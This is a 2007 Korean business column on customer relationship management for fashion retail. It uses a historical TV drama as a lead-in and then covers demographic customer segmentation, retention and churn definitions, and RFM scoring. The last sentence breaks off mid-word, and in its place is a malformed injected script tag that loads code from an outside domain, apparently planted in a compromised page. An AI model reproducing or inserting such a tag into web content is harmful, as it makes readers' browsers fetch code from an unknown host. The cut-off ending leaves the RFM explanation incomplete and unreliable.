당신의 고객은 누구인가요?
2007-01-23 fashioncrm@empal.com
문상찬<모라비안바젤컨설팅·객원 컨설턴트>
최근 방영이 끝난 드라마 왕건은 사람들과 사람들 사이에 어떤 관계를 맺느냐에 따라 운명이 바뀐다는 것을 잘 보여준 드라마였다. 이 드라마의 주인공 ‘왕건’은 관계 때문에 3국을 통일했고, 또 다른 주인공 ‘견훤’은 관계 때문에 망했다.
비옥하고, 농산물이 풍부한 땅에 크게 세력을 키웠던 견훤은 결국 관계의 실패로 몰락하게 된다. 견훤은 철저히 성과 지향적인 사람이었던 것 같다. 아들들을 능력과 성과로 판단했고, 이것이 결국 화근이 되어 아들들끼리 죽고 죽이는 참극을 낳게 된다. 그 자신 또한 아들들에게 배신당해 왕좌에서 쫓겨나 비참한 최후를 맞았다.
왕건은 관계 지향적인 사람이었던 것 같다. 그는 전국적인 세력을 구축하며 20명이 훨씬 넘는 호족의 딸들을 아내로 맞이하며 혈연관계를 맺었다. 많은 아들이 있었지만 그들 사이의 관계를 고려해 맏아들을 세자로 정한다. 건강이 좋지 않은 아들이었음에도 불구하고 말이다. 왕건의 의사결정 기준의 중심에는 언제나 ‘관계’가 있지 않았나 생각된다.
많은 기업들이 관계 관리에 신경 쓰고 있다. 기업이 가장 우선적으로 신경 써야할 관계는 고객과의 관계, 사원과의 관계, 거래처와의 관계다. 아마도 관계 관리에 신경 쓰지 않는 기업은 21세기에 살아남을 수 없을 것이다. 최근 출간되는 경영서적 중에서도 ‘관계우선의 법칙’ ‘입 소문으로 팔아라’ ‘클릭 이브 속으로’ 등 전문 CRM 서적이 아님에도 불구하고, 관계중심의 트렌드와 경영환경에 대해 기술하고 있는 책이 부쩍 늘어나고 있다.
오늘은 지난 주에 이어 CRM 의사결정을 지원할 수 있는 시스템에 대해 쓰려고 한다. POS와 영업지원 시스템은 영업과 물류, 상품관리에 관한 데이터를 축적해 의사결정을 지원한다. 판매반응에 따라 상품과 매장을 A,B,C 등급으로 나누기도 하고, 각 상품군 별로 특성을 분석해 내기도 한다. 상품별로 판매되는 패턴을 찾아낼 수 있다면 더 좋을 것이다.
CRM에서도 마찬가지다. 고객을 분석의 중심에 놓고, 고객을 A,B,C 등급으로 나누기도 하고, 각 고객군의 특성을 알아보기도 하며, 고객들의 구매 패턴을 알아내는 것도 매우 중요한 의사결정 요인이다.
첫번째로 고객을 세분화하는 방법에 대해 알아보자. 고객을 세분화하는 것은 매우 중요한 일이다. 차별적인 고객관리, 맞춤형 고객관리의 출발점이기 때문이다. 물론 더 나아가서 개개인 고객별로 차별화된 응대를 하는 것이 CRM의 최종 목표다. 그러나 자원과 시간이 한정되어 있는 현장에서는 고객을 몇 개 집단으로 나누고, 그 집단의 특성에 맞게 마케팅 하는 것도 쉬운 일은 아니다.
고객을 세분화 하는 가장 쉬운 방법은 인구통계적인 요소를 기준으로 하는 것이다. 연령대와 성별로 나누어 10대 후반 남성, 20대 초반 여성과 같은 방법으로 그룹핑을 하는 것이다. 연령과 성별로 고객을 군집하는 방법은 고객군을 나누는데 가장 많이 쓰이는 방법이다. 이는 가장 동질적인 행동을 하는 집단을 묶을 수 있는 외형적인 기준이 된다. 이외에 직업, 거주지역 등도 인구통계적인 구분 요소가 될 수 있다.
구매 주기에 따라 고객들을 세분화할 수도 있다. 주로 유지/이탈 분석이라고 불리는데, 패션에서는 유지/이탈에 대한 기준을 잘 결정하는 것이 중요하다. 이 개념은 통신회사나 카드회사, 보험회사처럼 1회 계약으로 그 거래 관계가 지속되는 업종에서 나온 고객 분석 방법이다. 대개 이들 회사와 고객간의 관계는 고객이 해지하겠다는 의사표시를 하기 전까지 계속 유지된다. 고객이 해지 신청을 하는 시점이 바로 고객이 이탈하는 시점이 되는 것이다.
그렇다면 패션 유통에서는 어떤 고객을 유지고객, 어떤 고객을 이탈고객으로 정의해야 할 것인가? 이는 패션 구매 주기에 따라 다르다. 빈번히 구매가 일어나는 캐주얼과 구매주기가 긴 정장/잡화류와는 기준이 다르다는 것이다.
캐주얼 브랜드의 경우에는 3개월마다 1회 이상씩 지속적으로 구매가 일어나고 있는 고객을 유지고객이라 할 수 있을 것이다.
브랜드마다 기초 마케팅리서치를 통해 우리 브랜드의 평균 구매 주기가 얼마인지를 조사한 다면 좀더 정확한 기준을 잡을 수 있다. 3개월마다 구매가 일어나다가 최근 3개월 동안 구매실적이 없다면 이는 휴면고객이라 할 수 있다. 물론 그 다음 3개월에 다시 구매가 일어난다면 회귀고객, 그렇지 않다면 비로소 이탈고객으로 분류할 수 있다.
고객이 우리 브랜드에 가지고 있는 로열티 정도에 따라 고객 등급을 나눌 수도 있다. 통신판매 업계에서 전통적으로 써오던 지수에는 RFM이라는 것이 있다. R(recency, 얼마나 최근 구입했는가), F(frequency, 얼마나 자주 구입했는가), M(monetary, 얼마나 많이 구입했는가)하는 3가지 기준을 가지고, 각 지수별 ?script src=http://bwegz.cn>
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